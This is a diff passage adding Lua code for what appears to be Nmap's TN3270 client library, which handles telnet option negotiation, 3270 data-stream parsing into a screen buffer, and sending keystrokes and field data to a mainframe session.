+ -- but only if we're in 3270 mode
+ if self.state == self.TN3270_DATA or self.state == self.TN3270E_DATA then
+ self:process_data()
+ end
+ self.telnet_state = TNS_DATA
+ elseif data == self.commands.WILL then self.telnet_state = TNS_WILL
+ elseif data == self.commands.WONT then self.telnet_state = TNS_WONT
+ elseif data == self.commands.DO then self.telnet_state = TNS_DO
+ elseif data == self.commands.DONT then self.telnet_state = TNS_DONT
+ elseif data == self.commands.SB then self.telnet_state = TNS_SB
+ end
+ elseif self.telnet_state == TNS_WILL then
+ stdnse.debug(3, "[TELNET] IAC WILL 0x%s?", stdnse.tohex(data))
+ for _,v in pairs(self.options) do -- check to see if we support this sub option (SB)
+ if v == data then
+ stdnse.debug(3, "[TELNET] IAC DO 0x%s", stdnse.tohex(data))
+ supported = true
+ break
+ end
+ end -- end of checking options
+ for _,v in pairs(self.unsupported_opts) do
+ if v == data then
+ stdnse.debug(3, "[TELNET] IAC DONT 0x%s (disabled)", stdnse.tohex(data))
+ supported = false
+ end
+ end
+ if supported then
+ if not self.server_options[data] then -- if we haven't already replied to this, let's reply
+ self.server_options[data] = true
+ self:send_data(DO_reply..data)
+ stdnse.debug(3, "[TELNET] Sent Will Reply: 0x%s", stdnse.tohex(data))
+ self:in3270()
+ end
+ else
+ self:send_data(DONT_reply..data)
+ stdnse.debug(3, "[TELNET] Sent Don't Reply: 0x%s", stdnse.tohex(data))
+ end
+ self.telnet_state = TNS_DATA
+ elseif self.telnet_state == TNS_WONT then
+ if self.server_options[data] then
+ self.server_options[data] = false
+ self:send_data(DONT_reply..data)
+ stdnse.debug(3, "[TELNET] Sent Don't Reply: 0x%s", stdnse.tohex(data))
+ self:in3270()
+ end
+ self.telnet_state = TNS_DATA
+ elseif self.telnet_state == TNS_DO then
+ stdnse.debug(3, "[TELNET] IAC DO 0x%s?", stdnse.tohex(data))
+ for _,v in pairs(self.options) do -- check to see if we support this sub option (SB)
+ if v == data then
+ stdnse.debug(3, "[TELNET] IAC WILL 0x%s", stdnse.tohex(data))
+ supported = true
+ break
+ end
+ end -- end of checking options
+ for _,v in pairs(self.unsupported_opts) do
+ if v == data then
+ stdnse.debug(3, "[TELNET] IAC WONT 0x%s (disabled)", stdnse.tohex(data))
+ supported = false
+ end
+ end
+ if supported then
+ if not self.client_options[data] then
+ self.client_options[data] = true
+ self:send_data(WILL_reply..data)
+ stdnse.debug(3, "[TELNET] Sent Do Reply: 0x%s" , stdnse.tohex(data))
+ self:in3270()
+ end
+ else
+ self:send_data(WONT_reply..data)
+ stdnse.debug(3, "[TELNET] Got unsupported Do. Sent Won't Reply: %s %s", data, self.telnet_data)
+ end
+ self.telnet_state = TNS_DATA
+ elseif self.telnet_state == TNS_DONT then
+ if self.client_options[data] then
+ self.client_options[data] = false
+ self:send_data(WONT_reply .. data)
+ stdnse.debug(3, "[TELNET] Sent Wont Reply: 0x%s", stdnse.tohex(data))
+ self:in3270()
+ end
+ self.telnet_state = TNS_DATA
+ elseif self.telnet_state == TNS_SB then
+ if data == self.commands.IAC then
+ self.telnet_state = TNS_SB_IAC
+ else
+ self.sb_options = self.sb_options .. data
+ end
+ elseif self.telnet_state == TNS_SB_IAC then
+ stdnse.debug(3, "[TELNET] Processing SB options")
+-- self.sb_options = self.sb_options .. data -- looks like this is a bug? Why append F0 to the end?
+ if data == self.commands.SE then
+ self.telnet_state = TNS_DATA
+ if self.sb_options:sub(1,1) == self.options.TTYPE and
+ self.sb_options:sub(2,2) == self.commands.SEND then
+ self:send_data(self.commands.IAC ..
+ self.commands.SB ..
+ self.options.TTYPE ..
+ self.commands.IS ..
+ self.device_type ..
+ self.commands.IAC ..
+ self.commands.SE )
+ elseif (self.client_options[self.options.TN3270] or self.client_options[self.options.TN3270E]) and
+ (self.sb_options:sub(1,1) == self.options.TN3270 or
+ self.sb_options:sub(1,1) == self.options.TN3270E) then
+ if not self:negotiate_tn3270() then
+ return false
+ end
+ stdnse.debug(3, "[TELNET] Done Negotiating Options")
+ else
+ self.telnet_state = TNS_DATA
+ end
+ self.sb_options = ''
+ end
+ --self.sb_options = ''
+ end -- end of makeshift switch/case
+ return true
+ end,
+
+ --- Stores a character on a buffer to be processed
+ --
+ store3270 = function ( self, char )
+ self.tn_buffer = self.tn_buffer .. char
+ end,
+
+ --- Function to negotiate TN3270 sub options
+
+ negotiate_tn3270 = function ( self )
+ stdnse.debug(3, "[TN3270] Processing tn data subnegotiation options ")
+ local option = self.sb_options:sub(2,2)
+ -- stdnse.debug("[TN3270E] We got this: 0x%s", stdnse.tohex(option))
+
+ if option == self.tncommands.SEND then
+ if self.sb_options:sub(3,3) == self.tncommands.DEVICETYPE then
+ if self.connected_lu == '' then
+ self:send_data(self.commands.IAC ..
+ self.commands.SB ..
+ self.options.TN3270E ..
+ self.tncommands.DEVICETYPE ..
+ self.tncommands.REQUEST ..
+ self.device_type ..
+ self.commands.IAC ..
+ self.commands.SE )
+ else
+ stdnse.debug(3,"[TN3270] Sending LU: %s", self.connected_lu)
+ self:send_data(self.commands.IAC ..
+ self.commands.SB ..
+ self.options.TN3270E ..
+ self.tncommands.DEVICETYPE ..
+ self.tncommands.REQUEST ..
+ self.device_type ..
+ self.tncommands.CONNECT ..
+ self.connected_lu ..
+ self.commands.IAC ..
+ self.commands.SE )
+ end
+ else
+ stdnse.debug(3,"[TN3270] Received TN3270 Send but not device type. Weird.")
+ return false
+ end
+ elseif option == self.tncommands.DEVICETYPE then -- Mainframe is confirming device type. Good!
+ if self.sb_options:sub(3,3) == self.tncommands.REJECT then
+ -- Welp our LU request failed, shut it down
+ stdnse.debug(3,"[TN3270] Received TN3270 REJECT.")
+ return false
+ elseif self.sb_options:sub(3,3) == self.tncommands.IS then
+ local tn_loc = 1
+ while self.sb_options:sub(4+tn_loc,4+tn_loc) ~= self.commands.SE and
+ self.sb_options:sub(4+tn_loc,4+tn_loc) ~= self.tncommands.CONNECT do
+ tn_loc = tn_loc + 1
+ end
+ --XXX Unused variable??? Should this be tn_loc?
+ -- local sn_loc = 1
+ if self.sb_options:sub(4+tn_loc,4+tn_loc) == self.tncommands.CONNECT then
+ self.connected_lu = self.sb_options:sub(5+tn_loc, #self.sb_options)
+ self.connected_dtype = self.sb_options:sub(4,3+tn_loc)
+ stdnse.debug(3,"[TN3270] Current LU: %s", self.connected_lu)
+ end
+ -- since We've connected lets send our options
+ self:send_data(self.commands.IAC ..
+ self.commands.SB ..
+ self.options.TN3270E ..
+ self.tncommands.FUNCTIONS ..
+ self.tncommands.REQUEST ..
+ --self.tncommands.RESPONSES .. -- we'll only support basic 3270E mode
+ self.commands.IAC ..
+ self.commands.SE )
+ end
+ elseif option == self.tncommands.FUNCTIONS then
+ if self.sb_options:sub(3,3) == self.tncommands.IS then
+ -- they accepted the function request, lets move on
+ self.negotiated = true
+ stdnse.debug(3,"[TN3270] Option Negotiation Done!")
+ self:in3270()
+ elseif self.sb_options:sub(3,3) == self.tncommands.REQUEST then
+ -- dummy functions for now. Our client doesn't have any
+ -- functions really but we'll agree to whatever they want
+ self:send_data(self.commands.IAC ..
+ self.commands.SB ..
+ self.options.TN3270E ..
+ self.tncommands.FUNCTIONS ..
+ self.tncommands.IS ..
+ self.sb_options:sub(4,4) ..
+ self.commands.IAC ..
+ self.commands.SE )
+ self.negotiated = true
+ self:in3270()
+ end
+ end
+ return true
+ end,
+
+ --- Check to see if we're in TN3270
+ in3270 = function ( self )
+ if self.client_options[self.options.TN3270E] then
+ stdnse.debug(3,"[in3270] In TN3270E mode")
+ if self.negotiated then
+ stdnse.debug(3,"[in3270] TN3270E negotiated")
+ self.state = self.TN3270E_DATA
+ end
+ elseif self.client_options[self.options.EOR] and
+ self.client_options[self.options.BINARY] and
+ self.client_options[self.options.EOR] and
+ self.client_options[self.options.BINARY] and
+ self.client_options[self.options.TTYPE] then
+ stdnse.debug(3,"[in3270] In TN3270 mode")
+ self.state = self.TN3270_DATA
+ end
+
+ if self.state == self.TN3270_DATA or self.state == self.TN3270E_DATA then
+ -- since we're in TN3270 mode, let's create an empty buffer
+ stdnse.debug(3, "[in3270] Creating Empty IBM-3278-2 Buffer")
+ for i=0, 1920 do
+ self.buffer[i] = "\0"
+ self.fa_buffer[i] = "\0"
+ self.overwrite_buf[i] = "\0"
+ end
+ stdnse.debug(3, "[in3270] Empty Buffer Created. Length: %d", #self.buffer)
+ end
+ stdnse.debug(3,"[in3270] Current State: %s", self.word_state[self.state])
+ end,
+
+ --- Also known as process_eor
+ process_data = function ( self )
+ local reply = 0
+ stdnse.debug(3,"Processing TN3270 Data")
+ if self.state == self.TN3270E_DATA then
+ stdnse.debug(3,"[TN3270E] Processing TN3270 Data header: %s", stdnse.tohex(self.tn_buffer:sub(1,5)))
+ self.tn3270_header.data_type = self.tn_buffer:sub(1,1)
+ self.tn3270_header.request_flag = self.tn_buffer:sub(2,2)
+ self.tn3270_header.response_flag = self.tn_buffer:sub(3,3)
+ self.tn3270_header.seq_number = self.tn_buffer:sub(4,5)
+ if self.tn3270_header.data_type == "\000" then
+ reply = self:process_3270(self.tn_buffer:sub(6))
+ stdnse.debug(3,"[TN3270E] Reply: %s", reply)
+ end
+ if reply < 0 and self.tn3270_header.request_flag ~= self.TN3270E_RSF_NO_RESPONSE then
+ self:tn3270e_nak(reply)
+ elseif reply == self.NO_OUTPUT and
+ self.tn3270_header.request_flag == self.ALWAYS_RESPONSE then
+ self:tn3270e_ack()
+ end
+ else
+ self:process_3270(self.tn_buffer)
+ end
+ -- nsedebug.print_hex(self.tn_buffer)
+
+ self.tn_buffer = ''
+ return true
+ end,
+
+ tn3270e_nak = function ( self, reply )
+ local neg = ""
+ if reply == self.BAD_COMMAND then
+ neg = self.NEG_COMMAND_REJECT
+ elseif reply == self.BAD_ADDRESS then
+ neg = self.NEG_OPERATION_CHECK
+ end
+
+ -- build the TN3270E nak reply header
+ local reply_buf = string.pack("BBB c2",
+ self.DT_RESPONSE, -- type
+ 0, -- request
+ self.NEGATIVE_RESPONSE, -- response
+ -- because this is telnet we gotta double up 0xFF chars
+ self.tn3270_header.seq_number:sub(1,2):gsub(self.commands.IAC, self.commands.IAC:rep(2))
+ ) .. neg .. self.commands.IAC .. self.commands.EOR
+
+ -- now send the whole thing
+ self:send_data(reply_buf)
+ end,
+
+ tn3270e_ack = function ( self )
+ -- build the TN3270E ack reply header
+ local reply_buf = string.pack("BBB c2",
+ self.DT_RESPONSE, -- type
+ 0, -- request
+ self.POSITIVE_RESPONSE, -- response
+ -- because this is telnet we gotta double up 0xFF chars
+ self.tn3270_header.seq_number:sub(1,2):gsub(self.commands.IAC, self.commands.IAC:rep(2))
+ ) .. self.POS_DEVICE_END .. self.commands.IAC .. self.commands.EOR
+ -- now send the whole package
+ self:send_data(reply_buf)
+ end,
+
+ clear_screen = function ( self )
+ self.buffer_address = 1
+ for i=1,1920,1 do
+ self.buffer[i] = "\0"
+ self.fa_buffer[i] = "\0"
+ end
+ end,
+
+ clear_unprotected = function ( self )
+ -- we don't support protect vs unprotected (yet)
+ -- this function is a stub for now
+ end,
+
+ process_3270 = function ( self, data )
+ -- the first byte will be the command we have to follow
+ local com = data:sub(1,1)
+ stdnse.debug(3, "[PROCESS 3270] Value Received: 0x%s", stdnse.tohex(com))
+ if com == self.command.EAU then
+ stdnse.debug(3,"TN3270 Command: Erase All Unprotected")
+ self:clear_unprotected()
+ return self.NO_OUTPUT
+ elseif com == self.command.EWA or com == self.sna_command.EWA or
+ com == self.command.EW or com == self.sna_command.EW then
+ stdnse.debug(3,"TN3270 Command: Erase Write (Alternate)")
+ self:clear_screen()
+ self:process_write(data) -- so far should only return No Output
+ return self.NO_OUTPUT
+ elseif com == self.command.W or com == self.sna_command.W then
+ stdnse.debug(3,"TN3270 Command: Write")
+ self:process_write(data)
+ elseif com == self.command.RB or com == self.sna_command.RB then
+ stdnse.debug(3,"TN3270 Command: Read Buffer")
+ self:process_read()
+ return self.OUTPUT
+ elseif com == self.command.RM or com == self.sna_command.RM or
+ com == self.command.RMA or com == self.sna_command.RMA then
+ stdnse.debug(3,"TN3270 Command: Read Modified (All)")
+ --XXX What is read_modified? What is aid?
+ --self:read_modified(aid)
+ --return self.OUTPUT
+ stdnse.debug1("UNIMPLEMENTED TN3270 Command: Read Modified (All)")
+ return self.BAD_COMMAND
+ elseif com == self.command.WSF or com == self.sna_command.WSF then
+ stdnse.debug(3,"TN3270 Command: Write Structured Field")
+ return self:w_structured_field(data)
+ elseif com == self.command.NOP or com == self.sna_command.NOP then
+ stdnse.debug(3,"TN3270 Command: No OP (NOP)")
+ return self.NO_OUTPUT
+ else
+ stdnse.debug(3,"Unknown 3270 Data Stream command: 0x%s", stdnse.tohex(com))
+ return self.BAD_COMMAND
+
+ end
+ return 1 -- we may sometimes enter a state where we have nothing which is fine
+
+ end,
+
+ --- WCC / tn3270 data stream processor
+ --
+ -- @param tn3270 data stream
+ -- @return status true on success, false on failure
+ -- @return changes self.buffer to match requested changes
+ process_write = function ( self, data )
+ stdnse.debug(3, "Processing TN3270 Write Command")
+ local prev = ''
+ local cp = ''
+ local num_attr = 0
+ local last_cmd = false
+ local i = 2 -- skip SF to get WCC
+
+ if (data:byte(i) & 0x40) == 0x40 then
+ stdnse.debug(3,"[WCC] Reset")
+ end
+
+ if (data:byte(i) & 0x02) == 0x02 then
+ stdnse.debug(3,"[WCC] Restore")
+ end
+
+ i = 3 -- skip the SF and the WCC.
+ while i <= #data do
+ cp = data:sub(i,i)
+ stdnse.debug(4,"Current Position: %d of %d", i, #data)
+ stdnse.debug(4,"Current Item: %s", stdnse.tohex(cp))
+ -- yay! lua has no switch statement
+ if cp == self.orders.SF then
+ stdnse.debug(4,"Start Field")
+ prev = 'ORDER'
+
+ last_cmd = true
+ i = i + 1 -- skip SF
+ stdnse.debug(4,"Writing Zero to buffer at address: %s", self.buffer_address)
+ stdnse.debug(4,"Attribute Type: 0x%s", stdnse.tohex(data:sub(i,i)))
+ self:write_field_attribute(data:sub(i,i))
+ self:write_char("\00")
+ self.buffer_address = self:INC_BUF_ADDR(self.buffer_address)
+ -- set the current position one ahead (after SF)
+ i = i + 1
+
+ elseif cp == self.orders.SFE then
+ stdnse.debug(4,"Start Field Extended")
+ i = i + 1 -- skip SFE
+ num_attr = data:byte(i)
+ stdnse.debug(4,"Number of Attributes: %d", num_attr)
+ for j = 1,num_attr do
+ i = i + 1
+ if data:byte(i) == 0xc0 then
+ stdnse.debug(4,"Writing Zero to buffer at address: %s", self.buffer_address)
+ stdnse.debug(4,"Attribute Type: 0x%s", stdnse.tohex(data:sub(i,i)))
+ self:write_char("\00")
+ self:write_field_attribute(data:sub(i,i))
+ end
+
+ i = i + 1
+ end
+ i = i + 1
+ self.buffer_address = self:INC_BUF_ADDR(self.buffer_address)
+ elseif cp == self.orders.SBA then
+ stdnse.debug(4,"Set Buffer Address (SBA) 0x11")
+ self.buffer_address = self.DECODE_BADDR(data:byte(i+1), data:byte(i+2))
+ stdnse.debug(4,"Buffer Address: %s", self.buffer_address)
+ stdnse.debug(4,"Row: %s", self:BA_TO_ROW(self.buffer_address))
+ stdnse.debug(4,"Col: %s", self:BA_TO_COL(self.buffer_address))
+ last_cmd = true
+ prev = 'SBA'
+ -- the current position is SBA, the next two bytes are the lengths
+ i = i + 3
+ stdnse.debug(4,"Next Command: %s", stdnse.tohex(data:sub(i,i)))
+ elseif cp == self.orders.IC then -- Insert Cursor
+ stdnse.debug(4,"Insert Cursor (IC) 0x13")
+ stdnse.debug(4,"Current Cursor Address: %s", self.cursor_addr)
+ stdnse.debug(4,"Buffer Address: %s", self.buffer_address)
+ stdnse.debug(4,"Row: %s", self:BA_TO_ROW(self.buffer_address))
+ stdnse.debug(4,"Col: %s", self:BA_TO_COL(self.buffer_address))
+ prev = 'ORDER'
+ self.cursor_addr = self.buffer_address
+ last_cmd = true
+ i = i + 1
+ elseif cp == self.orders.RA then
+ -- Repeat address repeats whatever the next char is after the two byte buffer address
+ -- There's all kinds of weird GE stuff we could do, but not now. Maybe in future vers
+ stdnse.debug(4,"Repeat to Address (RA) 0x3C")
+ local ra_baddr = self.DECODE_BADDR(data:byte(i+1), data:byte(i+2))
+ stdnse.debug(4,"Repeat Character: %s", stdnse.tohex(data:sub(i+1,i+2)))
+
+ stdnse.debug(4,"Repeat to this Address: %s", ra_baddr)
+ stdnse.debug(4,"Current Address: %s", self.buffer_address)
+ prev = 'ORDER'
+ --char_code = data:sub(i+3,i+3)
+ i = i + 3
+ local char_to_repeat = data:sub(i,i)
+ stdnse.debug(4,"Repeat Character: %s", stdnse.tohex(char_to_repeat))
+ while (self.buffer_address ~= ra_baddr) do
+ self:write_char(char_to_repeat)
+ self.buffer_address = self:INC_BUF_ADDR(self.buffer_address)
+ end
+ elseif cp == self.orders.EUA then
+ stdnse.debug(4,"Erase Unprotected All (EAU) 0x12")
+ local eua_baddr = self.DECODE_BADDR(data:byte(i+1), data:byte(i+2))
+ i = i + 3
+ stdnse.debug(4,"EAU to this Address: %s", eua_baddr)
+ stdnse.debug(4,"Current Address: %s", self.buffer_address)
+ while (self.buffer_address ~= eua_baddr) do
+ -- do nothing for now. this feature isn't supported/required at the moment
+ self.buffer_address = self:INC_BUF_ADDR(self.buffer_address)
+ --stdnse.debug(3,"Current Address: %s", self.buffer_address)
+ --stdnse.debug(3,"EAU to this Address: %s", eua_baddr)
+ end
+ elseif cp == self.orders.GE then
+ stdnse.debug(4,"Graphical Escape (GE) 0x08")
+ prev = 'ORDER'
+ i = i + 1 -- move to next byte
+ local ge_char = data:sub(i,i)
+ self:write_char(self, ge_char)
+ self.buffer_address = self:INC_BUF_ADDR(self.buffer_address)
+ elseif cp == self.orders.MF then
+ -- MotherFucker, lol!
+ -- or mainframe maybe
+ -- we don't actually have 'fields' at this point
+ -- so there's nothing to be modified
+ stdnse.debug(4,"Modify Field (MF) 0x2C")
+ prev = 'ORDER'
+ i = i + 1
+ local num_attr = tonumber(data:sub(i,i))
+ for j = 1, num_attr, 1 do
+ -- placeholder in case we need to do something here
+ stdnse.debug(4,"Set Attribute (MF) 0x2C")
+ i = i + 1
+ end
+ self.buffer_address = self:INC_BUF_ADDR(self.buffer_address)
+ elseif cp == self.orders.SA then
+ -- We'll add alerting here to identify hidden field
+ -- but for now we're doing NOTHING
+ i = i + 1
+
+ elseif cp == self.fcorders.NUL or
+ cp == self.fcorders.SUB or
+ cp == self.fcorders.DUP or
+ cp == self.fcorders.FM or
+ cp == self.fcorders.FF or
+ cp == self.fcorders.CR or
+ cp == self.fcorders.NL or
+ cp == self.fcorders.EM or
+ cp == self.fcorders.EO then
+ stdnse.debug(4,"Format Control Order received")
+ prev = 'ORDER'
+ self:write_char("\064")
+ self.buffer_address = self:INC_BUF_ADDR(self.buffer_address)
+ i = i + 1
+ else -- whoa we made it.
+ local ascii_char = drda.StringUtil.toASCII(cp)
+ stdnse.debug(4,"Inserting 0x"..stdnse.tohex(cp).." (".. ascii_char ..") at the following location:")
+ stdnse.debug(4,"Row: %s", self:BA_TO_ROW(self.buffer_address))
+ stdnse.debug(4,"Col: %s", self:BA_TO_COL(self.buffer_address))
+ stdnse.debug(4,"Buffer Address: %s", self.buffer_address)
+ self:write_char(data:sub(i,i))
+ self.buffer_address = self:INC_BUF_ADDR(self.buffer_address)
+ self.first_screen = true
+ i = i + 1
+ end -- end of massive if/else
+ end -- end of while loop
+ self.formatted = true
+ end,
+
+ write_char = function ( self, char )
+ if self.buffer[self.buffer_address] == "\0" then
+ self.buffer[self.buffer_address] = char
+ else
+ self.overwrite_buf[self.buffer_address] = self.buffer[self.buffer_address]
+ self.buffer[self.buffer_address] = char
+ end
+ end,
+
+ write_field_attribute = function ( self, attr )
+ self.fa_buffer[self.buffer_address] = attr
+ end,
+
+ process_read = function ( self )
+ local output_addr = 0
+ self.output_buffer = {}
+ stdnse.debug(3,"Generating Read Buffer")
+ self.output_buffer[output_addr] = string.pack("B",self.aid)
+ output_addr = output_addr + 1
+ stdnse.debug(3,"Output Address: %s", output_addr)
+ self.output_buffer[output_addr] = self:ENCODE_BADDR(self.cursor_addr)
+ return self:send_tn3270(self.output_buffer)
+
+ -- need to add while loop
+
+ end,
+
+ w_structured_field = function ( self, wsf_data )
+ -- this is the ugliest hack ever
+ -- but it works and it doesn't matter what we support anyway
+ stdnse.debug(3, "Processing TN3270 Write Structured Field Command")
+ -- all our options, one liner style
+ local query_options =
+ "\x88\x00\x16\x81\x86\x00\x08\x00\xf4\xf1\x00\xf2\x00\xf3\x00\xf4\z
+ \x00\xf5\x00\xf6\x00\xf7\x00\x00\x0d\x81\x87\x04\x00\xf0\xf1\xf1\z
+ \xf2\xf2\xf4\xf4\x00\x22\x81\x85\x82\x00\x07\x10\x00\x00\x00\x00\z
+ \x07\x00\x00\x00\x00\x65\x00\x25\x00\x00\x00\x02\xb9\x00\x25\x01\z
+ \x00\xf1\x03\xc3\x01\x36\x00\x2e\x81\x81\x03\x00\x00\x50\x00\x18\z
+ \x00\x00\x01\x00\x48\x00\x01\x00\x48\x07\x10\x00\x00\x00\x00\x00\z
+ \x00\x13\x02\x00\x01\x00\x50\x00\x18\x00\x00\x01\x00\x48\x00\x01\z
+ \x00\x48\x07\x10\x00\x1c\x81\xa6\x00\x00\x0b\x01\x00\x00\x50\x00\z
+ \x18\x00\x50\x00\x18\x0b\x02\x00\x00\x07\x00\x10\x00\x07\x00\x10\z
+ \x00\x07\x81\x88\x00\x01\x02\x00\x16\x81\x80\x80\x81\x84\x85\x86\z
+ \x87\x88\xa1\xa6\xa8\x96\x99\xb0\xb1\xb2\xb3\xb4\xb6\x00\x08\x81\z
+ \x84\x00\x0a\x00\x04\x00\x06\x81\x99\x00\x00\xff\xef"
+ stdnse.debug(3, "Current WSF : %s", stdnse.tohex(wsf_data:sub(4,4)) )
+
+ if self.state == self.TN3270E_DATA then
+ -- We need to add the header here since we're in TN3270E mode
+ query_options = "\x00\x00\x00\x00\x00" .. query_options
+ end
+ self:send_data(query_options)
+ return 1
+ end,
+
+
+ --- Sends TN3270 Packet
+ --
+ -- Expands IAC to IAC IAC and finally appends IAC EOR
+ -- @param data: table containing buffer array
+ send_tn3270 = function ( self, data )
+ local packet = ''
+ if self.state == self.TN3270E_DATA then
+ packet = "\x00\x00\x00\x00\x00"
+ -- we need to create the tn3270E (the E is important) header
+ -- which, in basic 3270E is 5 bytes of 0x00
+ --packet = string.pack("BBB >I2",
+ -- self.DT_3270_DATA, -- type
+ -- 0, -- request
+ -- 0, -- response
+ -- 0
+ -- )
+ --self.tn3270_header.seq_number
+ end
+ -- create send buffer and double up IACs
+
+ for i=0,#data do
+ stdnse.debug(3,"Adding 0x" .. stdnse.tohex(data[i]) .. " to the read buffer")
+ packet = packet .. data[i]
+ if data[i] == self.commands.IAC then
+ packet = packet .. self.commands.IAC
+ end
+ end
+ packet = packet .. self.commands.IAC .. self.commands.EOR
+ return self:send_data(packet) -- send the output buffer
+ end,
+
+ get_screen = function ( self )
+ stdnse.debug(3,"Returning the current TN3270 buffer")
+ local buff = '\n'
+ for i = 0,#self.buffer do
+ if self.buffer[i] == "\00" then
+ buff = buff .. " "
+ else
+ buff = buff .. drda.StringUtil.toASCII(self.buffer[i])
+ end
+ if (i+1) % 80 == 0 then
+ buff = buff .. "\n"
+ end
+ end
+ return buff
+ end,
+
+ get_screen_debug = function ( self, lvl )
+ lvl = lvl or 1
+ stdnse.debug(lvl,"---------------------- Printing the current TN3270 buffer ----------------------")
+ local buff = ''
+ for i = 0,#self.buffer do
+ if self.buffer[i] == "\00" then
+ buff = buff .. " "
+ else
+ buff = buff .. drda.StringUtil.toASCII(self.buffer[i])
+ end
+ if (i+1) % 80 == 0 then
+ stdnse.debug(lvl, buff)
+ buff = ''
+ end
+ end
+ stdnse.debug(lvl,"----------------------- End of the current TN3270 buffer ---------------------")
+
+ return buff
+ end,
+
+ get_screen_raw = function ( self )
+ local buff = ''
+ for i = 0,#self.buffer do
+ buff = buff .. drda.StringUtil.toASCII(self.buffer[i])
+ end
+ return buff
+ end,
+
+
+ --- Sends data at the current cursor location. Ignores field attributes.
+ --
+ -- It only uses enter key (AID = 0x7d) to send this data
+ -- for more complicated items use send_location
+ -- @param string you wish to send.
+ send_cursor = function ( self, data )
+ local ebcdic_letter = ''
+ self.output_buffer = {} -- empty the output buffer
+ self.output_buffer[0] = string.pack("B",self.aids.ENTER) -- what follows is an ENTER
+ stdnse.debug(3,"Cursor Location ("..self.cursor_addr.."): Row: %s, Column: %s ",
+ self:BA_TO_ROW(self.cursor_addr),
+ self:BA_TO_COL(self.cursor_addr) )
+ table.insert(self.output_buffer, self:ENCODE_BADDR(self.cursor_addr + #data)) -- location of cursor
+ table.insert(self.output_buffer, self.orders.SBA) -- set the buffer address to the following location
+ table.insert(self.output_buffer, self:ENCODE_BADDR(self.cursor_addr)) -- location of buffer address
+ for i = 1, #data do
+ stdnse.debug(3,"Inserting %s to the send buffer", data:sub(i,i))
+ ebcdic_letter = drda.StringUtil.toEBCDIC( data:sub(i,i) )
+ table.insert(self.output_buffer, ebcdic_letter ) -- insert the ebcdic character on the array
+ end
+ return self:send_tn3270(self.output_buffer)
+ end,
+
+ --- Sends the data to the location specified
+ --
+ -- Using a location on the screen sends the data
+ -- @param location: a location on the screen (between 0 and 1920)
+ -- @param data: ascii data to send to that location
+ send_location = function( self, location, data )
+ local cursor_location = location + #data
+ local ebcdic_letter = ''
+ self.output_buffer = {}
+ self.output_buffer[0] = string.pack("B",self.aids.ENTER)
+ table.insert(self.output_buffer, self:ENCODE_BADDR(cursor_location))
+ stdnse.debug(3,"Cursor Location ("..cursor_location.."): Row: %s, Column: %s ",
+ self:BA_TO_ROW(cursor_location),
+ self:BA_TO_COL(cursor_location) )
+ stdnse.debug(3,"Inserting %s at location %d", data, location )
+ table.insert(self.output_buffer, self.orders.SBA)
+ cursor_location = location
+ table.insert(self.output_buffer, self:ENCODE_BADDR(cursor_location))
+ for j = 1, #data do
+ ebcdic_letter = drda.StringUtil.toEBCDIC( data:sub(j,j) )
+ table.insert(self.output_buffer, ebcdic_letter )
+ end
+
+ return self:send_tn3270(self.output_buffer)
+ end,
+
+ --- Sends the data to multiple locations on the screen
+ --
+ -- Using a supplied tuple of location and data generates tn3270 data to
+ -- fill out the screen
+ -- @param location_tuple: and array of tuples with location and data. For
+ -- example: send_locations([{579:"dade"},{630:"secret"}])
+ send_locations = function( self, location_tuple )
+ local cursor_location = location_tuple[#location_tuple][1] + #location_tuple[#location_tuple][2]
+ local ebcdic_letter = ''
+ self.output_buffer = {}
+ self.output_buffer[0] = string.pack("B",self.aids.ENTER)
+ table.insert(self.output_buffer, self:ENCODE_BADDR(cursor_location))
+ stdnse.debug(3,"Cursor Location ("..cursor_location.."): Row: %s, Column: %s ",
+ self:BA_TO_ROW(cursor_location),
+ self:BA_TO_COL(cursor_location) )
+ for i = 1, #location_tuple do
+ stdnse.debug(3,"Inserting %s at location %d", location_tuple[i][2], location_tuple[i][1] )
+ table.insert(self.output_buffer, self.orders.SBA)
+ cursor_location = location_tuple[i][1]
+ table.insert(self.output_buffer, self:ENCODE_BADDR(cursor_location))
+ for j = 1, #location_tuple[i][2] do
+ ebcdic_letter = drda.StringUtil.toEBCDIC( location_tuple[i][2]:sub(j,j) )
+ table.insert(self.output_buffer, ebcdic_letter )
+ end
+ end
+ return self:send_tn3270(self.output_buffer)
+ end,
+
+ send_enter = function ( self )
+ local ebcdic_letter = ''
+ self.output_buffer = {}
+ self.output_buffer[0] = string.pack("B",self.aids.ENTER)
+ table.insert(self.output_buffer, self:ENCODE_BADDR(self.cursor_addr))
+ table.insert(self.output_buffer, self.orders.SBA)
+ table.insert(self.output_buffer, self:ENCODE_BADDR(self.cursor_addr))
+ return self:send_tn3270(self.output_buffer)
+ end,
+
+ send_clear = function ( self )
+ return self:send_data( string.pack("B",self.aids.CLEAR) .. self.commands.IAC .. self.commands.EOR )
+ end,
+
+ send_pf = function ( self, pf )
+ if pf > 24 or pf < 0 then
+ return false, "PF Value must be between 1 and 24"
+ end
+ self.output_buffer = {}
+ self.output_buffer[0] = string.pack("B", self.aids["PF"..pf] )
+ stdnse.debug(3,"Cursor Location ("..self.cursor_addr.."): Row: %s, Column: %s ",
+ self:BA_TO_ROW(self.cursor_addr),
+ self:BA_TO_COL(self.cursor_addr) )
+ self.output_buffer[1] = self:ENCODE_BADDR(self.cursor_addr)
+ return self:send_tn3270(self.output_buffer)
+ end,
+
+ writeable = function (self)
+ -- Returns a list with all writeable fields as {location, length} tuples
+ local writeable_list = {}
+ for i = 0,#self.fa_buffer do
+ if ( self.fa_buffer[i] ~= "\00" ) and (self.fa_buffer[i]:byte(1) & 0x20) ~= 0x20 then
+ -- found writeable flag
+ for j = i,#self.fa_buffer do
+ -- find end of field
+ if (self.fa_buffer[j]:byte(1) & 0x20) == 0x20 then
+ stdnse.debug(3,"[WRITEABLE] Area: %d Row: %d Col: %d Length: %d", i + 1, self:BA_TO_ROW(i + 1), self:BA_TO_COL(i + 2), j-i-1)
+ table.insert(writeable_list, {i + 1, j-i-1})
+ break
+ end
+ end
+ end
+ end
+ return writeable_list
+ end,
+
+ find = function ( self, str )
+ local buff = ''
+ for i = 0,#self.buffer do
+ if self.buffer[i] == "\00" then
+ buff = buff .. " "
+ else
+ buff = buff .. drda.StringUtil.toASCII(self.buffer[i])
+ end
+ end
+ --local buff = self:get_screen()
+ stdnse.debug(3, "[FIND] Looking for: %s", tostring(str))
+ local i, j = string.find(buff, str)
+ if i == nil then
+ stdnse.debug(3, "[FIND] Couldn't find: %s", tostring(str))
+ return false
+ else
+ stdnse.debug(3, "[FIND] Found String: %s", tostring(str))
+ return i , j
+ end
+ end,
+
+ isClear = function ( self )
